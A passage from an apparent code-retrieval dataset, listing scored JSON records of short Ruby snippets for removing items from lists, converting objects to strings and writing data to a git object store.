"text": "def remove_item(item, list)\n\t# steps: delete the item if it exists\n\tlist.delete_if {|list_item| list_item == item.to_sym}\n\t# output: updated list\n\tlist\nend",
"title": ""
},
{
"docid": "24fd4ef9f2382819c2350ab6d4b81415",
"score": "0.68062097",
"text": "def remove_from_list(list, item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "43e559b445eb124fe03d9f1ac27f08f7",
"score": "0.6805146",
"text": "def remove_item(list, food)\n list.delete(food)\nend",
"title": ""
},
{
"docid": "36c4d3b699788f892ea34eb6f99b0a17",
"score": "0.67993724",
"text": "def remove_item(item_name, grocery_list)\n grocery_list.delete(item_name)\n grocery_list\n end",
"title": ""
},
{
"docid": "7827510f4eedf4f057c59c6b3a002fd7",
"score": "0.6787089",
"text": "def delete_item(list_id:, id:)\n path = \"lists/#{list_id}/items/#{id}\"\n request(method: :delete, path: path)\n end",
"title": ""
},
{
"docid": "60c929160334da75b2270b739eb0d109",
"score": "0.6780994",
"text": "def remove_item(shopping_list, item)\r\n\r\n\tshopping_list.delete(item)\r\n\r\nend",
"title": ""
},
{
"docid": "596a4c7f0b359f3b4fc5c14aecb88fae",
"score": "0.6775401",
"text": "def remove_item(item)\n index = @list.index(item)\n remove_item_at(index)\n end",
"title": ""
},
{
"docid": "3dbf994a5c2126c8fe6b956452c5ef00",
"score": "0.674743",
"text": "def remove_item(list, item)\r\n\tlist.delete(item)\r\n\treturn list\r\nend",
"title": ""
},
{
"docid": "8b9dadf56be71b7cf001e710f07e5331",
"score": "0.67286706",
"text": "def remove_item(list, item_removed)\n list.delete(item_removed)\nend",
"title": ""
},
{
"docid": "84f8aa79fb12f3fb20e68283b8370165",
"score": "0.67174995",
"text": "def delete_item(item)\n\t\t#takes in an item and returns a new list\n\t\t@list.delete(item)\n\t\treturn @list\n\tend",
"title": ""
},
{
"docid": "d01f85cdb17644d905b2e98f6a05874d",
"score": "0.6702853",
"text": "def remove_item(list,item)\r\n\r\n list.delete(item)\r\n list\r\nend",
"title": ""
},
{
"docid": "9fb849f35c7a250a188b2fe5e3f83d85",
"score": "0.6702432",
"text": "def remove_item(shopping_list, item)\n shopping_list.delete(item)\nend",
"title": ""
},
{
"docid": "a6c08b6978ede004f8e85306a472783a",
"score": "0.6701821",
"text": "def remove_item(list_name, item)\r\n# input: list, item name\r\n# steps: delete item name and value from hash\r\n list_name.delete(item)\r\n# output: updated hash with item removed\r\np list_name\r\nend",
"title": ""
},
{
"docid": "bafd64db741d7bbfb4fa9dc3ecd15520",
"score": "0.670026",
"text": "def delete_item (grocery, item_name)\n grocery.delete(item_name)\n display_list(grocery)\n end",
"title": ""
},
{
"docid": "4ededbb3c4c1f466ef75fd394b94e572",
"score": "0.66960406",
"text": "def remove_item(item)\n @items.delete(item)\n end",
"title": ""
},
{
"docid": "0a17a8204c177dba8b398760c6092c03",
"score": "0.66860765",
"text": "def delete_item(list, item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "0a17a8204c177dba8b398760c6092c03",
"score": "0.66860765",
"text": "def delete_item(list, item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "f47824b0e4fbb068cba48f23b92bfb63",
"score": "0.66849536",
"text": "def remove_item(item_list, item)\r\n item_list.delete(item)\r\n item_list\r\nend",
"title": ""
},
{
"docid": "6164037553aa4f85694842e34f12f21a",
"score": "0.66811615",
"text": "def delete_item(item)\n unless item.nil?\n @items.delete(item.to_s.downcase)\n end\n @items\n end",
"title": ""
},
{
"docid": "dd9956a09c085b4454a0046b400728c2",
"score": "0.6666348",
"text": "def remove_item(grocery_list, item)\n\tif grocery_list.include?(item.to_sym)\n\t\tgrocery_list.delete(item.to_sym)\n\telse\n\t\tputs \"item name invalid\"\n\tend\nend",
"title": ""
},
{
"docid": "f0a43e29646ecc5dbe808a98eefe4765",
"score": "0.666052",
"text": "def remove_by_name(list, item_to_remove)\n list.each do |current_item|\n if current_item[\"productName\"] == item_to_remove[\"productName\"]\n list.delete current_item\n end\n end\n end",
"title": ""
},
{
"docid": "a318454bd6d292cffbbc634fb1549a2c",
"score": "0.6656372",
"text": "def delete_item(item)\n @get_items.delete(item)\n end",
"title": ""
},
{
"docid": "a725efb763a14e10b5f3f84f9b3ae2a8",
"score": "0.6649129",
"text": "def remove_an_item(list, item)\n #method to remove item\n list.delete(item)\nend",
"title": ""
},
{
"docid": "f5828d9962f0715e68eb3bba5a13f5e8",
"score": "0.66482073",
"text": "def remove_item(grocery_list,item_name)\r\n\t \r\n\t grocery_list.delete(item_name)\r\n\r\nend",
"title": ""
},
{
"docid": "57899a122adc81a74ab73e85c4ccf99d",
"score": "0.66329384",
"text": "def remove_item(list, item)\r\n# input: item to be removed, list\r\n# steps: \r\n # check if item exists\r\n # remove item\r\n list.delete(item)\r\n # print success message of item removed\r\n puts \"#{item.upcase} has been removed to your grocery list!\"\r\n p list\r\n# output: updated list\r\nend",
"title": ""
},
{
"docid": "a026a937d76d35cf8202168a2aaa355a",
"score": "0.66306365",
"text": "def remove_item(name)\n\t\tif index = find_index(name)\n\t\t\ttodo_items.delete_at(index)\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f0d2620baeac0aba298ecb41cfa643f2",
"score": "0.66215247",
"text": "def remove_item(list, item)\r\n list.delete(item)\r\n list\r\nend",
"title": ""
},
{
"docid": "48ac105934f896f23f1dd2cef3978abc",
"score": "0.66202176",
"text": "def remove_item(list, item)\n list.delete(item)\n p list\nend",
"title": ""
},
{
"docid": "48ac105934f896f23f1dd2cef3978abc",
"score": "0.66202176",
"text": "def remove_item(list, item)\n list.delete(item)\n p list\nend",
"title": ""
},
{
"docid": "48ac105934f896f23f1dd2cef3978abc",
"score": "0.66199553",
"text": "def remove_item(list, item)\n list.delete(item)\n p list\nend",
"title": ""
},
{
"docid": "823febe1336e7bc10ebc7ee8bc1c7eeb",
"score": "0.66163605",
"text": "def delete_item(id:, list_id:)\n check_token\n response = self.class.delete(\n \"/lists/#{list_id}/items/#{id}\",\n headers: headers\n )\n check_and_raise_errors(response)\n true\n end",
"title": ""
},
{
"docid": "cebdc7aca174cd96d9cedfcb0da0bc10",
"score": "0.6609613",
"text": "def delete_item(list,item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "cebdc7aca174cd96d9cedfcb0da0bc10",
"score": "0.6609613",
"text": "def delete_item(list,item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "99e530cf0528699962089cf862d4abfe",
"score": "0.6609401",
"text": "def list_remover(list_input_remover, item_name_remove)\n list_input_remover.delete(item_name_remove)\nend",
"title": ""
},
{
"docid": "f8bacfae6cd4a829744acb14b39bd503",
"score": "0.660876",
"text": "def remove_item(grocery_list, item_name)\n\tgrocery_list.delete(item_name)\n\treturn grocery_list\nend",
"title": ""
},
{
"docid": "f8bacfae6cd4a829744acb14b39bd503",
"score": "0.660876",
"text": "def remove_item(grocery_list, item_name)\n\tgrocery_list.delete(item_name)\n\treturn grocery_list\nend",
"title": ""
},
{
"docid": "9b1091bdcde9c283c2f304e2e2cb850f",
"score": "0.6608275",
"text": "def remove_item(list, item_remove)\n list.delete(item_remove)\nend",
"title": ""
},
{
"docid": "8c0c9375752c1e8c6850c144efdbd5bf",
"score": "0.660744",
"text": "def delete_item(list,item)\n list.delete(item)\n return list\nend",
"title": ""
},
{
"docid": "26675eceae64783fb254ca637a029f57",
"score": "0.6593692",
"text": "def remove_item(item)\n\t$grocery_list.delete(item)\n\tp \"You crossed off #{item} from your list.\"\nend",
"title": ""
},
{
"docid": "e1a55a1ad297f01397d8fccd812a9b53",
"score": "0.65795016",
"text": "def remove_item(list, item)\n list.delete(item)\n return list\nend",
"title": ""
},
{
"docid": "73d50e818d669e6e06fe85d81ed22903",
"score": "0.657781",
"text": "def remove_item(list, item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "73d50e818d669e6e06fe85d81ed22903",
"score": "0.657781",
"text": "def remove_item(list, item)\n list.delete(item)\n list\nend",
"title": ""
},
{
"docid": "85ff61431c6b5cd43272359b6841e81c",
"score": "0.6575698",
"text": "def remove_item(list,item)\n list.delete(item)\n p list\nend",
"title": ""
},
{
"docid": "be0db64c0ae28054970f19fe77d989c4",
"score": "0.6572425",
"text": "def delete_item(item)\n @chores.delete(item)\n end",
"title": ""
},
{
"docid": "76b63add9b822fced3e8278803298030",
"score": "0.65695465",
"text": "def delete_item(glist, item)\n\tglist.delete(item)\n\treturn glist\nend",
"title": ""
},
{
"docid": "e4f8df3df8edecb0e260af7fda73ad60",
"score": "0.65690714",
"text": "def remove_item(list, item)\n list.delete(item)\n return list\nend",
"title": ""
},
{
"docid": "89ddf93540b349e2dd4d6883fd4e4d07",
"score": "0.65600044",
"text": "def remove_item(list, item)\n list.delete(item)\n list\nend",
"title": ""
}
] |
a7a817661c0faa5c863dfc7d8fa829b2 | Returns the string representation of the object | [
{
"docid": "a408df9f3be79d7c20500741a990725c",
"score": "0.0",
"text": "def to_s\n to_hash.to_s\n end",
"title": ""
}
] | [
{
"docid": "fbdd4f858146598aaabf84003282a8d1",
"score": "0.901777",
"text": "def to_s\n @object.to_s\n end",
"title": ""
},
{
"docid": "d69be2e09bbb16dc0e9df0ec2905d3f4",
"score": "0.88380826",
"text": "def to_s\n\t\treturn self.obj.to_s\n\tend",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "02404f3e844aff8dcfc9b3622bad0ef8",
"score": "0.87399364",
"text": "def to_s\n @string || @object.to_s\n end",
"title": ""
},
{
"docid": "678626aeedf2a51f0ced828f2ceff9a6",
"score": "0.8443926",
"text": "def to_s\n \"#<#{self.class.name}:#{object_id} @name=#{name}>\"\n end",
"title": ""
},
{
"docid": "75c468ae7aac18e1f6817fa278aa2fc3",
"score": "0.83409667",
"text": "def to_s\n self.inspect\n end",
"title": ""
},
{
"docid": "75c468ae7aac18e1f6817fa278aa2fc3",
"score": "0.83409667",
"text": "def to_s\n self.inspect\n end",
"title": ""
},
{
"docid": "949ee2fc40124ca888e175c0eed1455e",
"score": "0.83380705",
"text": "def to_s\n self.inspect\n end",
"title": ""
},
{
"docid": "9de4b58d246a11e5383cd14d25999c96",
"score": "0.8332247",
"text": "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"title": ""
},
{
"docid": "1bb96ca64dfa2a62873721f729ef1280",
"score": "0.82396704",
"text": "def to_s\n @object.to_s.freeze\n end",
"title": ""
},
{
"docid": "675bce66fdef91212dbe19a9857e1741",
"score": "0.82107365",
"text": "def to_s\n _raw_instance.to_s\n end",
"title": ""
},
{
"docid": "43c77b14298648b096d94635f07e6782",
"score": "0.812714",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "43c77b14298648b096d94635f07e6782",
"score": "0.812714",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "43c77b14298648b096d94635f07e6782",
"score": "0.812714",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "43c77b14298648b096d94635f07e6782",
"score": "0.812714",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "7416c3e1e8b3046e92041323c0e00f03",
"score": "0.808243",
"text": "def to_s\r\n dump\r\n end",
"title": ""
},
{
"docid": "dc16640466975aaaac38873b774725f2",
"score": "0.80782956",
"text": "def to_s\n serialize\n end",
"title": ""
},
{
"docid": "dc16640466975aaaac38873b774725f2",
"score": "0.80782956",
"text": "def to_s\n serialize\n end",
"title": ""
},
{
"docid": "155e25d5f0afed82a7106ebe1b90691c",
"score": "0.80759054",
"text": "def to_s\n @string\n end",
"title": ""
},
{
"docid": "c9665cf6d36e290f3e7e69bed1917a71",
"score": "0.80726814",
"text": "def serialize\n to_s\n end",
"title": ""
},
{
"docid": "952d8a8e8b5c89a708f94d451703a12a",
"score": "0.805692",
"text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end",
"title": ""
},
{
"docid": "952d8a8e8b5c89a708f94d451703a12a",
"score": "0.805692",
"text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a",
"score": "0.80502456",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "1a589177dcc06ee743d16d92e5b263e0",
"score": "0.80225563",
"text": "def to_s\n inspect.to_s\n end",
"title": ""
},
{
"docid": "1a589177dcc06ee743d16d92e5b263e0",
"score": "0.80225563",
"text": "def to_s\n inspect.to_s\n end",
"title": ""
},
{
"docid": "adfe0d463793f76edc0508608484c743",
"score": "0.80064154",
"text": "def to_s\n @string\n end",
"title": ""
},
{
"docid": "b0ef1522a002ae52d75f6969031a934c",
"score": "0.79809254",
"text": "def to_s\r\n end",
"title": ""
},
{
"docid": "b0ef1522a002ae52d75f6969031a934c",
"score": "0.79809254",
"text": "def to_s\r\n end",
"title": ""
},
{
"docid": "92175452657e51c44591a1c7015b72fd",
"score": "0.7979008",
"text": "def inspect\n to_s!\n end",
"title": ""
},
{
"docid": "3675a63771c10d1ccdee44e116437c80",
"score": "0.7973928",
"text": "def to_s\n self.to_h.inspect\n end",
"title": ""
},
{
"docid": "52dd5faf663b53cadb374ac2d826d788",
"score": "0.79672194",
"text": "def to_s\n serialize.to_s\n end",
"title": ""
},
{
"docid": "97d9c57822555c523dce3148048d7b1c",
"score": "0.7962831",
"text": "def to_s\n @string\n end",
"title": ""
},
{
"docid": "97d9c57822555c523dce3148048d7b1c",
"score": "0.7962831",
"text": "def to_s\n @string\n end",
"title": ""
},
{
"docid": "a359b877abd28b7abf7f8c678ea8577d",
"score": "0.79446983",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "a359b877abd28b7abf7f8c678ea8577d",
"score": "0.79446983",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "a359b877abd28b7abf7f8c678ea8577d",
"score": "0.79446983",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "d6bed2a77681ae6e5101696e99d03ecd",
"score": "0.7940119",
"text": "def to_s\n to_h.to_s\n end",
"title": ""
},
{
"docid": "15508caf3f119bdd4d943db10efc66e1",
"score": "0.7928534",
"text": "def to_s\n return \"#<#{self.class}:#{(self.object_id * 2).to_s(16)} @attributes=#{self.attributes}\"\n end",
"title": ""
},
{
"docid": "83e05374f900a85ad4fc71c35acc4428",
"score": "0.7922671",
"text": "def inspect\n serialize.to_s\n end",
"title": ""
},
{
"docid": "2e8d71c1fb99c9472e63f1f75be7d858",
"score": "0.7922564",
"text": "def dump\n to_s\n end",
"title": ""
},
{
"docid": "92df5e1734c67871e41bb52e710873f1",
"score": "0.79206944",
"text": "def to_s\n \"#<#{self.class.inspect}(#{@name})>\"\n end",
"title": ""
},
{
"docid": "5d15a288f94eb3b75eaeac36ce19d48f",
"score": "0.7919419",
"text": "def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"title": ""
},
{
"docid": "e836c41071a21d5c7c57bfbda782006f",
"score": "0.7917535",
"text": "def to_s\n @s\n end",
"title": ""
},
{
"docid": "e9c7394b1a677651a30121fc2bed7989",
"score": "0.7909274",
"text": "def to_s\n self\n end",
"title": ""
},
{
"docid": "38f04d8671f617b50259203bcc9eb181",
"score": "0.7898898",
"text": "def to_s\n to_s!\n end",
"title": ""
},
{
"docid": "d13869c5cc419421fbea3c80b2caa9e3",
"score": "0.7897556",
"text": "def to_s\n to_string\n end",
"title": ""
},
{
"docid": "40a6909d6bf98586a2feefc819abd1e9",
"score": "0.7896235",
"text": "def to_s\n to_result.inspect\n end",
"title": ""
},
{
"docid": "0217022f868f9d2727b90dbc6b767326",
"score": "0.7884661",
"text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end",
"title": ""
},
{
"docid": "0217022f868f9d2727b90dbc6b767326",
"score": "0.7884661",
"text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end",
"title": ""
},
{
"docid": "0217022f868f9d2727b90dbc6b767326",
"score": "0.7884661",
"text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end",
"title": ""
},
{
"docid": "49bb934e4aa5abfc5ac38d66d28872e2",
"score": "0.788328",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "49bb934e4aa5abfc5ac38d66d28872e2",
"score": "0.788328",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "49bb934e4aa5abfc5ac38d66d28872e2",
"score": "0.788328",
"text": "def to_s\n inspect\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "4f7585f66ffa450a9070d4f17e5a3bbd",
"score": "0.78758216",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "b3d03d905f97ad971786ab8dbe483e06",
"score": "0.78711545",
"text": "def to_s\n \"<#{self.class.name} #{to_str}>\"\n end",
"title": ""
},
{
"docid": "9b555a02cfbee8f1c3923b96194fc2ca",
"score": "0.787004",
"text": "def to_s()\n return \"[#{@VAR_OBJECT.class.to_s()}, #{@VAR_OBJECT.to_s()}]\"\n end",
"title": ""
},
{
"docid": "364f1784dffe3f0124d6223ec0464340",
"score": "0.78684527",
"text": "def to_s\r\n end",
"title": ""
},
{
"docid": "364217bde731c34cfd5336c47ea54c11",
"score": "0.7866813",
"text": "def inspect\n self.to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2",
"score": "0.7865939",
"text": "def inspect\n to_s\n end",
"title": ""
},
{
"docid": "86f39c437ffd61e3672aca1c77779b61",
"score": "0.7861997",
"text": "def to_s\n to_h.inspect\n end",
"title": ""
},
{
"docid": "f62b89fb04345615d4227d734f79a3f2",
"score": "0.78553015",
"text": "def to_s\n self.to_str\n end",
"title": ""
},
{
"docid": "842f76e004c6c9d9728c81caafab5eb2",
"score": "0.7853796",
"text": "def _to_s\n \"#<#{self.class}:0x#{object_id << 1} #{ary}>\"\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7850519",
"text": "def to_s\n end",
"title": ""
}
] |
08bc17a7bfe63c05362ce44bd81bea6b | Write the data to the git object store | [
{
"docid": "68ce66c9f1334db5300d9e71c29b06a2",
"score": "0.6977768",
"text": "def write\n @id = store.put_object('blob', data)\n end",
"title": ""
}
] | [
{
"docid": "3e0e9573802c3776ea8aecb9d7fca58e",
"score": "0.72084016",
"text": "def write_to_store \n if modified?\n @modified = false\n @id = store.put_object(data, 'blob')\n else\n @id\n end\n end",
"title": ""
},
{
"docid": "dc76c8b0cc40e148c99bc7b1d84c7a56",
"score": "0.71455884",
"text": "def commit_data\n # JSON.dump is to save the data in json format.\n File.open(@file_path, 'w+') { |f| f.write(JSON.dump(@content)) }\n end",
"title": ""
},
{
"docid": "a8755cf782d26ec1cd9061e770ab7f1f",
"score": "0.70991254",
"text": "def write_blob(data)\n self.repo.git.put_raw_object(data, 'blob')\n end",
"title": ""
},
{
"docid": "1501c802b26e848b2b9286180d477ab4",
"score": "0.7059385",
"text": "def put(object)\n content = object.dump\n data = \"#{object.type} #{content.bytesize rescue content.length}\\0#{content}\"\n id = sha(data)\n path = object_path(id)\n\n @logger.debug \"gitrb: Storing #{id}\"\n\n if !File.exists?(path)\n FileUtils.mkpath(File.dirname(path))\n File.open(path, 'wb') do |f|\n f.write Zlib::Deflate.deflate(data)\n end\n end\n\n @logger.debug \"gitrb: Stored #{id}\"\n\n set_encoding(id)\n object.repository = self\n object.id = id\n @objects.insert(id, object)\n\n object\n end",
"title": ""
},
{
"docid": "3db6eee0280a7d87e162f60df4c07e2b",
"score": "0.6757659",
"text": "def commit\n return false unless @dirty\n\n File.open(@path, 'w') do |f|\n f.write YAML.dump({ @name.to_s => @data })\n end\n end",
"title": ""
},
{
"docid": "019fb135b7098e169a5376c786fc7d0a",
"score": "0.67121285",
"text": "def write_blob(data)\n self.repo.git.run(\"echo '#{data}' | \", :hash_object, '', {:w => true, :stdin => true}, []).chomp\n end",
"title": ""
},
{
"docid": "c5901621fe63c45a66e43b9dad0244d1",
"score": "0.6554646",
"text": "def write\n open\n\n # TODO lock\n \n # Yield to the block, which will access the working directory.\n yield @git\n\n # TODO unlock\n end",
"title": ""
},
{
"docid": "4e201ab95c46735d7ba99b2206a73d3d",
"score": "0.65142274",
"text": "def write(path, data = nil)\n f = File.join(local, path)\n File.write(f, data) if data\n repo.add(f)\n end",
"title": ""
},
{
"docid": "377049d31a76b8311f4429461a6dd1b6",
"score": "0.64823323",
"text": "def write(file, data)\n path = repo_dir.join(file)\n path.dirname.mkdir_p\n path.write(\n data\n )\n\n self\n end",
"title": ""
},
{
"docid": "e2112f8f8241856efba245d9ad42e6b6",
"score": "0.64758414",
"text": "def save_changes\n File.open(@path_to_db, 'w') do |f|\n refresh_hash_in_head\n\n f.write(jsonified_data)\n end\n end",
"title": ""
},
{
"docid": "47eb7047a0e46c3ead7c83b947de7273",
"score": "0.6454341",
"text": "def write_to_store\n return id if not modified?\n \n contents = table.map do |name, entry|\n entry.write_to_store\n \"%s %s\\0%s\" % [entry.mode, name, [entry.id].pack(\"H*\")]\n end\n\n @modified = false\n @id = store.put_object(contents.join, 'tree')\n end",
"title": ""
},
{
"docid": "5bd451f2f3e436dd0e9a5398ea2234a8",
"score": "0.64357924",
"text": "def store_repository data\n repository = Repository.find_or_initialize_by(github_id: data['id'])\n repository.update_attributes({\n github_id: data['id'],\n url: data['url'],\n name: data['full_name'],\n description: data['description'],\n })\n repository\n end",
"title": ""
},
{
"docid": "ca992c304e0f076fd54b168f44363247",
"score": "0.6320464",
"text": "def write_data\n @last_updated = DateTime.now\n hash = self.to_h\n filepath = DATA_PATH + @filename\n File.open(filepath, \"w\") do |f|\n f.write(JSON.pretty_generate(hash))\n end\n end",
"title": ""
},
{
"docid": "ac10d1c4c00d7f773934e36563b13fed",
"score": "0.6283451",
"text": "def commit_data(sha); end",
"title": ""
},
{
"docid": "1166986caa7fd37866048ebadac1f842",
"score": "0.6282968",
"text": "def save\n data = json_encode(@data)\n FileUtils.mkdir_p File.dirname(@filename)\n PathUtils.atomic_write(@filename) do |f|\n f.write(data)\n end\n end",
"title": ""
},
{
"docid": "581ef4e6c56f30a3b7fc78b43f09e444",
"score": "0.6259561",
"text": "def save(hash)\r\n puts \"[#{endpoint}] Saving repository: #{hash['key']}, class=#{hash['rclass']}\"\r\n if hash['rclass'] == 'local'\r\n save_local hash\r\n elsif hash['rclass'] == 'remote'\r\n save_remote hash\r\n end\r\n end",
"title": ""
},
{
"docid": "b57b87045711db4f6e3d36bab4e8ad4c",
"score": "0.62531877",
"text": "def _store(key, version, sha, contents); end",
"title": ""
},
{
"docid": "2057dee9d6d0fedfd5f87a29d80e3f35",
"score": "0.6218989",
"text": "def store_data(data, name)\n path = store_loot(name, 'text/plain', datastore['RHOST'], data.to_json, name)\n print_good('Saved file to: ' + path)\n end",
"title": ""
},
{
"docid": "045842e45d128feacbea83926bde7669",
"score": "0.6194472",
"text": "def write!(repository, update_ref = nil)\n return unless @id.nil?\n oid = repository.write(@content.to_json, :blob)\n\n index = Rugged::Index.new\n index.add(path: 'content', oid: oid, mode: 0100644)\n tree = index.write_tree(repository)\n\n parents = [previous, origin].compact\n parents = parents.map(&:id).compact unless parents.empty?\n\n commit_options = {\n tree: tree,\n author: author,\n committer: author,\n message: message,\n parents: parents,\n }\n commit_options[:update_ref] = update_ref if update_ref\n\n @id = Rugged::Commit.create(repository, commit_options)\n end",
"title": ""
},
{
"docid": "ba67bdef488dbc271429c06767c740fd",
"score": "0.61688703",
"text": "def save\n json = File.read(\"./db/gossip.json\")\n array = JSON.parse(json)\n @@count = array.length + 1\n hash = { \"author\" => @author, \"content\" => @content, \"id\" => @@count }\n array.push(hash)\n File.open(\"./db/gossip.json\", \"w\") do |f|\n f.puts JSON.pretty_generate(array)\n end\n end",
"title": ""
},
{
"docid": "20924b8a5156ca2caa52ed3971693cd2",
"score": "0.6166913",
"text": "def save_lfs_data\n %w(project wiki).each do |repository_type|\n create(\n :lfs_objects_project,\n project: project,\n repository_type: repository_type,\n lfs_object: lfs_object\n )\n end\n\n saver.save\n\n project.lfs_objects.delete_all\n end",
"title": ""
},
{
"docid": "a6a410d43654d0775c82f38230faf7c0",
"score": "0.61596316",
